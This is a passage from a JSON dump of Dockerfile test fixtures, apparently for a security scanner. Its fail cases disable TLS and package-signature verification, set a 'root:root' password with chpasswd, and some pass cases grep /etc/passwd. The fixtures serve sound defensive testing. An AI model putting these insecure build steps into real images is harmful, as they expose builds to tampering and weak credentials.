\\\n    PYTHONHTTPSVERIFY=\"0\" \\\n    TEST='lol'\\\n     python example.py\nRUN \\\n     TEST_123=456\\\n     PYTHONHTTPSVERIFY='0' \\\n     TEST=\"lol\" \\\n     python example.py\n"
  },
  {
    "path": "tests/dockerfile/graph_builder/checks/resources/EnvPythonHttpsVerify/fail/Dockerfile.run.quotes",
    "content": "FROM alpine:3.15\n\nRUN PYTHONHTTPSVERIFY=0 TEST=\"lol\\\"\" python example.py\nRUN PYTHONHTTPSVERIFY=\"0\" TEST='lol\\'' python example.py\n\nRUN LOL=\"123\\\"\" PYTHONHTTPSVERIFY=\"0\" python example.py\nRUN LOL='123\\'' PYTHONHTTPSVERIFY='0' python example.py\n"
  },
  {
    "path": "tests/dockerfile/graph_builder/checks/resources/EnvPythonHttpsVerify/fail/Dockerfile.run.shell",
    "content": "FROM alpine:3.15\n\nRUN ABC=123 echo test; PYTHONHTTPSVERIFY=0 python example.py ;DEF=456 echo lol;\nRUN ABC=123 echo test;PYTHONHTTPSVERIFY=0 python example.py;DEF=456 echo lol;\nRUN ABC=123 echo test ;PYTHONHTTPSVERIFY=0 python example.py; DEF=456 echo lol;\n\nRUN ABC=123 echo test&& PYTHONHTTPSVERIFY=0 python example.py &&DEF=456 echo lol;\nRUN ABC=123 echo test&&PYTHONHTTPSVERIFY=0 python example.py&&DEF=456 echo lol;\nRUN ABC=123 echo test &&PYTHONHTTPSVERIFY=0 python example.py&& DEF=456 echo lol;\n\nRUN ABC=123 echo test|| PYTHONHTTPSVERIFY=0 python example.py ||DEF=456 echo lol;\nRUN ABC=123 echo test||PYTHONHTTPSVERIFY=0 python example.py||DEF=456 echo lol;\nRUN ABC=123 echo test ||PYTHONHTTPSVERIFY=0 python example.py|| DEF=456 echo lol;\n\nRUN ABC=123 echo test| PYTHONHTTPSVERIFY=0 python example.py |DEF=456 echo lol;\nRUN ABC=123 echo test|PYTHONHTTPSVERIFY=0 python example.py|DEF=456 echo lol;\nRUN ABC=123 echo test |PYTHONHTTPSVERIFY=0 python example.py| DEF=456 echo lol;\n\nRUN ABC=123      echo test;       PYTHONHTTPSVERIFY=0         python example.py ;     DEF=456          echo lol;\nRUN ABC=123      echo test ;       PYTHONHTTPSVERIFY=0         python example.py;     DEF=456          echo lol;\n"
  },
  {
    "path": "tests/dockerfile/graph_builder/checks/resources/EnvPythonHttpsVerify/fail/Dockerfile.run.whitespace",
    "content": "FROM alpine:3.15\nRUN TEST_123=\"456\"        PYTHONHTTPSVERIFY=0  python example.py\nRUN TEST_123='456'        PYTHONHTTPSVERIFY=\"0\"  python example.py\nRUN TEST_123=456        PYTHONHTTPSVERIFY='0'  python example.py\n\nRUN TEST_123=\"456\"        PYTHONHTTPSVERIFY=0      TEST=\"lol\"    python example.py\nRUN TEST_123='456'        PYTHONHTTPSVERIFY=\"0\"    TEST=\"lol\"    python example.py\nRUN TEST_123=456          PYTHONHTTPSVERIFY='0'    TEST=\"lol\"    python example.py\n\nRUN PYTHONHTTPSVERIFY=0      TEST=\"lol\"    python example.py\nRUN PYTHONHTTPSVERIFY=\"0\"    TEST=\"lol\"    python example.py\nRUN PYTHONHTTPSVERIFY='0'    TEST=\"lol\"    python example.py\n"
  },
  {
    "path": "tests/dockerfile/graph_builder/checks/resources/EnvPythonHttpsVerify/pass/Dockerfile",
    "content": "FROM alpine:3.5\nENV PYTHONHTTPSVERIFY=1\nENV PYTHONHTTPSVERIFY 1\nENV PYTHONHTTPSVERIFY 666\nARG PYTHONHTTPSVERIFY=1\nARG PYTHONHTTPSVERIFY 1\nARG PYTHONHTTPSVERIFY 666\nENV LOL=666 ASDFPYTHONHTTPSVERIFY=0\nENV ASDFPYTHONHTTPSVERIFY=0 LOL=666\nENV LOL=666 \\\n    ASDFPYTHONHTTPSVERIFY=0\nENV LOL=666 PYTHONHTTPSVERIFY=1\nENV PYTHONHTTPSVERIFY      1\nARG PYTHONHTTPSVERIFYLOL=0\n\nRUN python example.py\nRUN PYTHONHTTPSVERIFY=1 python example.py\nRUN PYTHONHTTPSVERIFY=\"1\" python example.py\nRUN PYTHONHTTPSVERIFY='1' python example.py\nRUN PYTHONHTTPSVERIFY=\"0\\\"\" python example.py\nRUN PYTHONHTTPSVERIFY='0\\'' python example.py\nRUN LOL=123 \\\n    ASDFPYTHONHTTPSVERIFY=0 python example.py\nRUN LOL=123 PYTHONHTTPSVERIFY=1 python example.py\nRUN PYTHONHTTPSVERIFYLOL=0 python example.py\n"
  },
  {
    "path": "tests/dockerfile/graph_builder/checks/resources/RunApkAllowUntrusted/expected.yaml",
    "content": "pass:\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\nfail:\n  - 'fail/Dockerfile.RUN'\n  - 'fail/Dockerfile.RUN'\n  - 'fail/Dockerfile.RUN'\n  - 'fail/Dockerfile.RUN'\n  - 'fail/Dockerfile.RUN'\nevaluated_keys:\n  - 'value'\n"
  },
  {
    "path": "tests/dockerfile/graph_builder/checks/resources/RunApkAllowUntrusted/fail/Dockerfile",
    "content": "FROM alpine:3.5\nRUN apk add --allow-untrusted python3\nRUN apk --allow-untrusted add python3\nRUN apk \\\n    --allow-untrusted \\\n    add python3\nRUN apk \\\n    add python3 \\\n    --allow-untrusted\nRUN echo \"prodsec\" && apk --allow-untrusted add python3\n"
  },
  {
    "path": "tests/dockerfile/graph_builder/checks/resources/RunApkAllowUntrusted/pass/Dockerfile",
    "content": "FROM alpine:3.5\nRUN apk add a-car\nRUN apk add a-handbag | grep \"--allow-untrusted\"\nRUN apk upgrade --no-cache && apk add \\\n    a-mobile-phone a-dvd\nRUN apk upgrade &&\\\n    echo \"--allow-untrusted\"\n"
  },
  {
    "path": "tests/dockerfile/graph_builder/checks/resources/RunAptGetAllowUnauthenticated/expected.yaml",
    "content": "pass:\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\nfail:\n  - 'fail/Dockerfile.RUN'\n  - 'fail/Dockerfile.RUN'\n  - 'fail/Dockerfile.RUN'\n  - 'fail/Dockerfile.RUN'\n  - 'fail/Dockerfile.RUN'\nevaluated_keys:\n  - 'value'\n"
  },
  {
    "path": "tests/dockerfile/graph_builder/checks/resources/RunAptGetAllowUnauthenticated/fail/Dockerfile",
    "content": "FROM debian:bullseye\nRUN apt-get install --allow-unauthenticated python3\nRUN apt-get --allow-unauthenticated install python3\nRUN apt-get \\\n    --allow-unauthenticated \\\n    install python3\nRUN apt-get \\\n    install python3 \\\n    --allow-unauthenticated\nRUN echo \"prodsec\" && apt-get --allow-unauthenticated install python3\n"
  },
  {
    "path": "tests/dockerfile/graph_builder/checks/resources/RunAptGetAllowUnauthenticated/pass/Dockerfile",
    "content": "FROM debian:bullseye\nRUN apt-get install python3\nRUN apt-get install python3 | grep \"--allow-unauthenticated\"\nRUN apt-get update && apt-get install \\\n    python3\nRUN apt-get update &&\\\n    echo \"--allow-unauthenticated\"\n"
  },
  {
    "path": "tests/dockerfile/graph_builder/checks/resources/RunAptGetForceYes/expected.yaml",
    "content": "pass:\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\nfail:\n  - 'fail/Dockerfile.RUN'\n  - 'fail/Dockerfile.RUN'\n  - 'fail/Dockerfile.RUN'\n  - 'fail/Dockerfile.RUN'\n  - 'fail/Dockerfile.RUN'\nevaluated_keys:\n  - 'value'\n"
  },
  {
    "path": "tests/dockerfile/graph_builder/checks/resources/RunAptGetForceYes/fail/Dockerfile",
    "content": "FROM debian:bullseye\nRUN apt-get install --force-yes python3\nRUN apt-get --force-yes install python3\nRUN apt-get \\\n    --force-yes \\\n    install python3\nRUN apt-get \\\n    install python3 \\\n    --force-yes\nRUN echo \"prodsec\" && apt-get --force-yes install python3\n"
  },
  {
    "path": "tests/dockerfile/graph_builder/checks/resources/RunAptGetForceYes/pass/Dockerfile",
    "content": "FROM debian:bullseye\nRUN apt-get install python3\nRUN apt-get install python3 | grep \"--force-yes\"\nRUN apt-get update && apt-get install \\\n    python3\nRUN apt-get update &&\\\n    echo \"--force-yes\"\n"
  },
  {
    "path": "tests/dockerfile/graph_builder/checks/resources/RunChpasswd/expected.yaml",
    "content": "pass:\n  - 'pass/Dockerfile.RUN'\nfail:\n  - 'fail/Dockerfile.RUN'\n  - 'fail/Dockerfile.RUN'\n  - 'fail/Dockerfile.RUN'\n  - 'fail/Dockerfile.RUN'\n  - 'fail/Dockerfile.RUN'\nevaluated_keys:\n  - 'value'\n"
  },
  {
    "path": "tests/dockerfile/graph_builder/checks/resources/RunChpasswd/fail/Dockerfile",
    "content": "FROM ubuntu:20.04\nRUN echo 'root:root' | chpasswd\nRUN echo 'root:' | chpasswd\nRUN apt-get update && echo \"someuser:somepasswd\" | chpasswd && echo \"lol\"\nRUN apt-get update ;\\\n    apt-get clean ; \\\n    echo 'root:root' | chpasswd\nRUN chpasswd < input.txt"
  },
  {
    "path": "tests/dockerfile/graph_builder/checks/resources/RunChpasswd/pass/Dockerfile",
    "content": "FROM ubuntu:20.04\nRUN chgrp root /etc/passwd"
  },
  {
    "path": "tests/dockerfile/graph_builder/checks/resources/RunNpmConfigSetStrictSsl/expected.yaml",
    "content": "pass:\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\nfail:\n  - 'fail/Dockerfile.npm.RUN'\n  - 'fail/Dockerfile.npm.RUN'\n  - 'fail/Dockerfile.npm.RUN'\n  - 'fail/Dockerfile.npm.RUN'\n  - 'fail/Dockerfile.npm.RUN'\n  - 'fail/Dockerfile.npm.RUN'\n  - 'fail/Dockerfile.npm.RUN'\n  - 'fail/Dockerfile.npm.RUN'\n  - 'fail/Dockerfile.npm.RUN'\n  - 'fail/Dockerfile.npm.RUN'\n  - 'fail/Dockerfile.npm.RUN'\n  - 'fail/Dockerfile.npm.RUN'\n  - 'fail/Dockerfile.npm.RUN'\n  - 'fail/Dockerfile.npm.RUN'\n  - 'fail/Dockerfile.npm.RUN'\n  - 'fail/Dockerfile.npm.RUN'\n  - 'fail/Dockerfile.npm.RUN'\n  - 'fail/Dockerfile.npm.RUN'\n  - 'fail/Dockerfile.npm.RUN'\n  - 'fail/Dockerfile.npm.RUN'\n  - 'fail/Dockerfile.npm.RUN'\n  - 'fail/Dockerfile.npm.RUN'\n  - 'fail/Dockerfile.wilderness.RUN'\n  - 'fail/Dockerfile.wilderness.RUN'\n  - 'fail/Dockerfile.wilderness.RUN'\n  - 'fail/Dockerfile.wilderness.RUN'\n  - 'fail/Dockerfile.wilderness.RUN'\n  - 'fail/Dockerfile.wilderness.RUN'\n  - 'fail/Dockerfile.wilderness.RUN'\n  - 'fail/Dockerfile.wilderness.RUN'\n  - 'fail/Dockerfile.wilderness.RUN'\n  - 'fail/Dockerfile.yarn.RUN'\n  - 'fail/Dockerfile.yarn.RUN'\n  - 'fail/Dockerfile.yarn.RUN'\n  - 'fail/Dockerfile.yarn.RUN'\n  - 'fail/Dockerfile.yarn.RUN'\n  - 'fail/Dockerfile.yarn.RUN'\n  - 'fail/Dockerfile.yarn.RUN'\n  - 'fail/Dockerfile.yarn.RUN'\n  - 'fail/Dockerfile.yarn.RUN'\n  - 'fail/Dockerfile.yarn.RUN'\n  - 'fail/Dockerfile.yarn.RUN'\n  - 'fail/Dockerfile.yarn.RUN'\n  - 'fail/Dockerfile.yarn.RUN'\n  - 'fail/Dockerfile.yarn.RUN'\n  - 'fail/Dockerfile.yarn.RUN'\n  - 'fail/Dockerfile.yarn.RUN'\n  - 'fail/Dockerfile.yarn.RUN'\n  - 'fail/Dockerfile.yarn.RUN'\n  - 'fail/Dockerfile.yarn.RUN'\n  - 'fail/Dockerfile.yarn.RUN'\n  - 'fail/Dockerfile.yarn.RUN'\nevaluated_keys:\n  - 'value'"
  },
  {
    "path": "tests/dockerfile/graph_builder/checks/resources/RunNpmConfigSetStrictSsl/fail/Dockerfile.npm",
    "content": "FROM node:18\nRUN npm config set strict-ssl=false\nRUN npm config set \"strict-ssl\"=false\nRUN npm config set 'strict-ssl'=false\n\nRUN npm config set strict-ssl=\"false\"\nRUN npm config set \"strict-ssl\"=\"false\"\nRUN npm config set 'strict-ssl'=\"false\"\n\nRUN npm config set strict-ssl='false'\nRUN npm config set \"strict-ssl\"='false'\nRUN npm config set 'strict-ssl'='false'\n\nRUN npm config set strict-ssl false\nRUN npm config set \"strict-ssl\" false\nRUN npm config set 'strict-ssl' false\n\nRUN npm      config     set      strict-ssl     false\nRUN npm      config     set     \"strict-ssl\"   \"false\"\nRUN npm      config     set     'strict-ssl'   'false'\n\nRUN npm set strict-ssl false\nRUN npm set \"strict-ssl\" false\nRUN npm set 'strict-ssl' false\n\nRUN npm      set      strict-ssl     false\nRUN npm      set     \"strict-ssl\"   \"false\"\nRUN npm      set     'strict-ssl'   'false'\n\nRUN npm c set strict-ssl false"
  },
  {
    "path": "tests/dockerfile/graph_builder/checks/resources/RunNpmConfigSetStrictSsl/fail/Dockerfile.wilderness",
    "content": "FROM node:18\nRUN set -eux \\\n    &&  if [[ -n \"${NPM_PROXY}\" ]]; then \\\n          npm config set proxy       $NPM_PROXY; \\\n          npm config set https-proxy $NPM_PROXY; \\\n          npm config set strict-ssl  false; \\\n        fi \\\n    &&  npm install npm-proxy-cache -g\nRUN npm config set \"strict-ssl\" false\nRUN npm config set strict-ssl false\nRUN npm config set strict-ssl false -g\nRUN yarn config set strict-ssl false --global\nRUN npm set strict-ssl false && npm install --only=development\nRUN npm set strict-ssl false --global\nRUN yarn config set strict-ssl false\nRUN npm set strict-ssl false  && npm install -g serve"
  },
  {
    "path": "tests/dockerfile/graph_builder/checks/resources/RunNpmConfigSetStrictSsl/fail/Dockerfile.yarn",
    "content": "FROM node:18\nRUN yarn config set strict-ssl=\"false\"\nRUN yarn config set \"strict-ssl\"=\"false\"\nRUN yarn config set 'strict-ssl'=\"false\"\n\nRUN yarn config set strict-ssl='false'\nRUN yarn config set \"strict-ssl\"='false'\nRUN yarn config set 'strict-ssl'='false'\n\nRUN yarn config set strict-ssl=false\nRUN yarn config set \"strict-ssl\"=false\nRUN yarn config set 'strict-ssl'=false\n\nRUN yarn config set strict-ssl false\nRUN yarn config set \"strict-ssl\" false\nRUN yarn config set 'strict-ssl' false\n\nRUN yarn      config     set      strict-ssl    \"false\"\nRUN yarn      config     set     \"strict-ssl\"   'false'\nRUN yarn      config     set     'strict-ssl'    false\n\nRUN yarn set strict-ssl false\nRUN yarn set \"strict-ssl\" false\nRUN yarn set 'strict-ssl' false\n\nRUN yarn      set      strict-ssl    'false'\nRUN yarn      set     \"strict-ssl\"    false\nRUN yarn      set     'strict-ssl'   \"false\"\n"
  },
  {
    "path": "tests/dockerfile/graph_builder/checks/resources/RunNpmConfigSetStrictSsl/pass/Dockerfile",
    "content": "FROM node:18\nRUN npm config set strict-ssl=true\nRUN yarn config set \"strict-ssl\"=true\nRUN npm config set 'strict-ssl'=true\n\nRUN npm config set strict-ssl true\nRUN yarn config set \"strict-ssl\" true\nRUN npm config set 'strict-ssl' true\n\nRUN yarn      config     set      strict-ssl     true\nRUN npm      config     set     \"strict-ssl\"    true\nRUN yarn      config     set     'strict-ssl'    true\n\nRUN npm set strict-ssl true\nRUN yarn set \"strict-ssl\" true\nRUN npm set 'strict-ssl' true\n\nRUN yarn      set      strict-ssl     true\nRUN npm      set     \"strict-ssl\"    true\nRUN yarn      set     'strict-ssl'    true\n\nRUN npm config set audit false\nRUN yarn config set audit false\n\nRUN npm set audit false\nRUN yarn set audit false\n\nRUN npm config set strict-ssl true || false\nRUN yarn config set strict-ssl true || false\n\nRUN npm config get strict-ssl || false\nRUN yarn config get strict-ssl || false\n\nRUN npm install strict-ssl false\nRUN yarn install strict-ssl false\n\nRUN true && npm install strict-ssl true || false\nRUN echo false | yarn install strict-ssl true > out.txt\n\nRUN npm  \\\n    set   \\\n    strict-ssl  \\\n    true && gcc -Wpedantic less.c"
  },
  {
    "path": "tests/dockerfile/graph_builder/checks/resources/RunPipTrustedHost/expected.yaml",
    "content": "pass:\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\nfail:\n  - 'fail/Dockerfile.basic.RUN'\n  - 'fail/Dockerfile.basic.RUN'\n  - 'fail/Dockerfile.basic.RUN'\n  - 'fail/Dockerfile.basic.RUN'\n  - 'fail/Dockerfile.multiline.RUN'\n  - 'fail/Dockerfile.multiline.RUN'\n  - 'fail/Dockerfile.shell.RUN'\nevaluated_keys:\n  - 'value'\n"
  },
  {
    "path": "tests/dockerfile/graph_builder/checks/resources/RunPipTrustedHost/fail/Dockerfile.basic",
    "content": "FROM alpine:3.5\nRUN pip install checkov --trusted-host pypi.org --trusted-host files.pythonhosted.org\nRUN pip install checkov --trusted-host=pypi.python.org --trusted-host=pypi.org\nRUN pip3 install checkov --trusted-host pypi.org --trusted-host files.pythonhosted.org\nRUN pip3 install checkov --trusted-host=pypi.python.org --trusted-host=pypi.org\n"
  },
  {
    "path": "tests/dockerfile/graph_builder/checks/resources/RunPipTrustedHost/fail/Dockerfile.multiline",
    "content": "FROM alpine:3.5\nRUN pip \\\n    --trusted-host pypi.org \\\n    install checkov\nRUN pip \\\n    install checkov \\\n    --trusted-host=pypi.org\n"
  },
  {
    "path": "tests/dockerfile/graph_builder/checks/resources/RunPipTrustedHost/fail/Dockerfile.shell",
    "content": "FROM alpine:3.5\nRUN echo \"panw\" && pip --trusted-host=pypi.python.org --trusted-host=pypi.org install checkov\n"
  },
  {
    "path": "tests/dockerfile/graph_builder/checks/resources/RunPipTrustedHost/pass/Dockerfile",
    "content": "FROM alpine:3.5\nRUN pip install checkov\nRUN pip3 install checkov\nRUN pip install checkov | grep \"--trusted-host\"\nRUN pip3 install checkov; grep \"--trusted-host\"\nRUN pip install checkov &&\\\n    echo \"--trusted-host\"\nRUN pip3 install checkov ||\\\n    grep \"--trusted-host\" /etc/passwd\n"
  },
  {
    "path": "tests/dockerfile/graph_builder/checks/resources/RunRpmNoSignature/expected.yaml",
    "content": "pass:\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\nfail:\n  - 'fail/Dockerfile.RUN'\n  - 'fail/Dockerfile.RUN'\n  - 'fail/Dockerfile.RUN'\n  - 'fail/Dockerfile.RUN'\n  - 'fail/Dockerfile.RUN'\n  - 'fail/Dockerfile.RUN'\n  - 'fail/Dockerfile.RUN'\n  - 'fail/Dockerfile.RUN'\nevaluated_keys:\n  - 'value'\n"
  },
  {
    "path": "tests/dockerfile/graph_builder/checks/resources/RunRpmNoSignature/fail/Dockerfile",
    "content": "FROM fedora:rawhide\nRUN rpm -i --nodigest --nosignature --noverify --nofiledigest python3.rpm\nRUN rpm -i --nodigest python3.rpm\nRUN rpm -i --nosignature python3.rpm\nRUN rpm -i --noverify python3.rpm\nRUN rpm -i --nofiledigest python3.rpm\nRUN rpm \\\n    --nodigest \\\n    --nosignature \\\n    --noverify \\\n    --nofiledigest \\\n    -i python3.rpm\nRUN rpm \\\n    -i python3.rpm \\\n    --nodigest \\\n    --nosignature \\\n    --nofiledigest \\\n    --noverify\nRUN echo \"prodsec\" && rpm --nodigest --nosignature --noverify --nofiledigest -i python3.rpm\n"
  },
  {
    "path": "tests/dockerfile/graph_builder/checks/resources/RunRpmNoSignature/pass/Dockerfile",
    "content": "FROM fedora:rawhide\nRUN rpm -i python3.rpm\nRUN rpm -i python3.rpm | grep \"--nosignature\"\nRUN rpm -i python3.rpm && rpm -V \\\n    python3\nRUN rpm -i python3.rpm ;\\\n    echo \"--nodigest\"\nRUN rpm -i python3.rpm ;\\\n    echo \"--noverify\"\nRUN rpm -i python3.rpm ||\\\n    echo \"--nofiledigest\"\n"
  },
  {
    "path": "tests/dockerfile/graph_builder/checks/resources/RunUnsafeCurl/expected.yaml",
    "content": "pass:\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\nfail:\n  - 'fail/Dockerfile.combo.RUN'\n  - 'fail/Dockerfile.long.RUN'\n  - 'fail/Dockerfile.multiline.RUN'\n  - 'fail/Dockerfile.shell.RUN'\n  - 'fail/Dockerfile.short.RUN'\nevaluated_keys:\n  - 'value'"
  },
  {
    "path": "tests/dockerfile/graph_builder/checks/resources/RunUnsafeCurl/fail/Dockerfile.combo",
    "content": "FROM alpine:3.5\nRUN curl -Lkv https://example.com\n"
  },
  {
    "path": "tests/dockerfile/graph_builder/checks/resources/RunUnsafeCurl/fail/Dockerfile.long",
    "content": "FROM alpine:3.5\nRUN curl --insecure https://example.com\n"
  },
  {
    "path": "tests/dockerfile/graph_builder/checks/resources/RunUnsafeCurl/fail/Dockerfile.multiline",
    "content": "FROM alpine:3.5\nRUN curl \\\n    --insecure \\\n    https://example.com\n"
  },
  {
    "path": "tests/dockerfile/graph_builder/checks/resources/RunUnsafeCurl/fail/Dockerfile.shell",
    "content": "FROM alpine:3.5\nRUN echo -n -Lv https://example.com && curl -k https://example.com\n"
  },
  {
    "path": "tests/dockerfile/graph_builder/checks/resources/RunUnsafeCurl/fail/Dockerfile.short",
    "content": "FROM alpine:3.5\nRUN curl -k https://example.com\n"
  },
  {
    "path": "tests/dockerfile/graph_builder/checks/resources/RunUnsafeCurl/pass/Dockerfile",
    "content": "FROM alpine:3.5\nRUN curl https://example.com\nRUN curl --fake https://example.com\nRUN curl -lol https://example.com\nRUN curl https://example.com | grep -k lol\nRUN curl https://example.com; grep /etc/passwd -k lol\nRUN curl https://example.com &&\\\n    grep /etc/passwd -k lol\nRUN curl https://example.com ||\\\n    grep /etc/passwd -k lol\n"
  },
  {
    "path": "tests/dockerfile/graph_builder/checks/resources/RunUnsafeWget/expected.yaml",
    "content": "pass:\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\nfail:\n  - 'fail/Dockerfile.basic.RUN'\n  - 'fail/Dockerfile.multiline.RUN'\n  - 'fail/Dockerfile.shell.RUN'\nevaluated_keys:\n  - 'value'\n"
  },
  {
    "path": "tests/dockerfile/graph_builder/checks/resources/RunUnsafeWget/fail/Dockerfile.basic",
    "content": "FROM alpine:3.5\nRUN wget --no-progress --no-check-certificate -o file https://example.com\n"
  },
  {
    "path": "tests/dockerfile/graph_builder/checks/resources/RunUnsafeWget/fail/Dockerfile.multiline",
    "content": "FROM alpine:3.5\nRUN wget \\\n    --no-check-certificate \\\n    https://example.com\n"
  },
  {
    "path": "tests/dockerfile/graph_builder/checks/resources/RunUnsafeWget/fail/Dockerfile.shell",
    "content": "FROM alpine:3.5\nRUN echo \"panw\" && wget --no-check-certificate https://example.com\n"
  },
  {
    "path": "tests/dockerfile/graph_builder/checks/resources/RunUnsafeWget/pass/Dockerfile",
    "content": "FROM alpine:3.5\nRUN wget https://example.com\nRUN wget --no-progress -o file https://example.com\nRUN wget -lol https://example.com\nRUN wget https://example.com | grep \"--no-check-certificate\" /etc/passwd\nRUN wget https://example.com; grep \"--no-check-certificate\" /etc/passwd\nRUN wget https://example.com &&\\\n    echo \"--no-check-certificate\"\nRUN wget https://example.com ||\\\n    grep \"--no-check-certificate\" /etc/passwd\n"
  },
  {
    "path": "tests/dockerfile/graph_builder/checks/resources/RunUsingSudo/expected.yaml",
    "content": "pass:\n  - 'pass/Dockerfile.RUN'\nfail:\n  - 'fail/Dockerfile.RUN'\n  - 'fail_multiline/Dockerfile.RUN'\nevaluated_keys:\n  - 'value'"
  },
  {
    "path": "tests/dockerfile/graph_builder/checks/resources/RunUsingSudo/fail/Dockerfile",
    "content": "FROM busybox\n\nRUN sudo apt-get install git\n"
  },
  {
    "path": "tests/dockerfile/graph_builder/checks/resources/RunUsingSudo/fail_multiline/Dockerfile",
    "content": "FROM busybox\n\nRUN apt-get update \\\n && sudo apt-get install vim\n"
  },
  {
    "path": "tests/dockerfile/graph_builder/checks/resources/RunUsingSudo/pass/Dockerfile",
    "content": "FROM busybox\n\nRUN apt-get install sudoku\n"
  },
  {
    "path": "tests/dockerfile/graph_builder/checks/resources/RunYumConfigManagerSslVerify/expected.yaml",
    "content": "pass:\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\nfail:\n  - 'fail/Dockerfile.dnf-config-manager.RUN'\n  - 'fail/Dockerfile.dnf-config-manager.RUN'\n  - 'fail/Dockerfile.dnf-config-manager.RUN'\n  - 'fail/Dockerfile.dnf-config-manager.RUN'\n  - 'fail/Dockerfile.dnf-config-manager.RUN'\n  - 'fail/Dockerfile.dnf-config-manager.RUN'\n  - 'fail/Dockerfile.dnf-config-manager.RUN'\n  - 'fail/Dockerfile.dnf-config-manager.RUN'\n  - 'fail/Dockerfile.dnf-config-manager.RUN'\n  - 'fail/Dockerfile.dnf-config-manager.RUN'\n  - 'fail/Dockerfile.dnf-config-manager.RUN'\n  - 'fail/Dockerfile.dnf-config-manager.RUN'\n  - 'fail/Dockerfile.whitespace.RUN'\n  - 'fail/Dockerfile.whitespace.RUN'\n  - 'fail/Dockerfile.whitespace.RUN'\n  - 'fail/Dockerfile.whitespace.RUN'\n  - 'fail/Dockerfile.wilderness.RUN'\n  - 'fail/Dockerfile.wilderness.RUN'\n  - 'fail/Dockerfile.wilderness.RUN'\n  - 'fail/Dockerfile.wilderness.RUN'\n  - 'fail/Dockerfile.wilderness.RUN'\n  - 'fail/Dockerfile.yum-config-manager.RUN'\n  - 'fail/Dockerfile.yum-config-manager.RUN'\n  - 'fail/Dockerfile.yum-config-manager.RUN'\n  - 'fail/Dockerfile.yum-config-manager.RUN'\n  - 'fail/Dockerfile.yum-config-manager.RUN'\n  - 'fail/Dockerfile.yum-config-manager.RUN'\n  - 'fail/Dockerfile.yum-config-manager.RUN'\n  - 'fail/Dockerfile.yum-config-manager.RUN'\n  - 'fail/Dockerfile.yum-config-manager.RUN'\n  - 'fail/Dockerfile.yum-config-manager.RUN'\n  - 'fail/Dockerfile.yum-config-manager.RUN'\n  - 'fail/Dockerfile.yum-config-manager.RUN'\n  - 'fail/Dockerfile.yum-config-manager.RUN'\n  - 'fail/Dockerfile.yum-config-manager.RUN'\n  - 'fail/Dockerfile.yum-config-manager.RUN'\n  - 'fail/Dockerfile.yum-config-manager.RUN'\n  - 'fail/Dockerfile.yum-config-manager.RUN'\nevaluated_keys:\n  - 'value'\n"
  },
  {
    "path": "tests/dockerfile/graph_builder/checks/resources/RunYumConfigManagerSslVerify/fail/Dockerfile.dnf-config-manager",
    "content": "FROM fedora:rawhide\n\nRUN dnf-config-manager --save --setopt=sslverify=0\nRUN dnf-config-manager --save --setopt=sslverify=false\nRUN dnf-config-manager --save --setopt=sslverify=no\n\nRUN dnf-config-manager --setopt=sslverify=0 --save\nRUN dnf-config-manager --setopt=sslverify=False --save\nRUN dnf-config-manager --setopt=sslverify=No --save\n\nRUN dnf-config-manager --save --setopt=something.sslverify=0\nRUN dnf-config-manager --save --setopt=something.sslverify=false\nRUN dnf-config-manager --save --setopt=something.sslverify=no\n\nRUN dnf-config-manager --setopt=something.sslverify=0 --save\nRUN dnf-config-manager --setopt=something.sslverify=False --save\nRUN dnf-config-manager --setopt=something.sslverify=no --save\n"
  },
  {
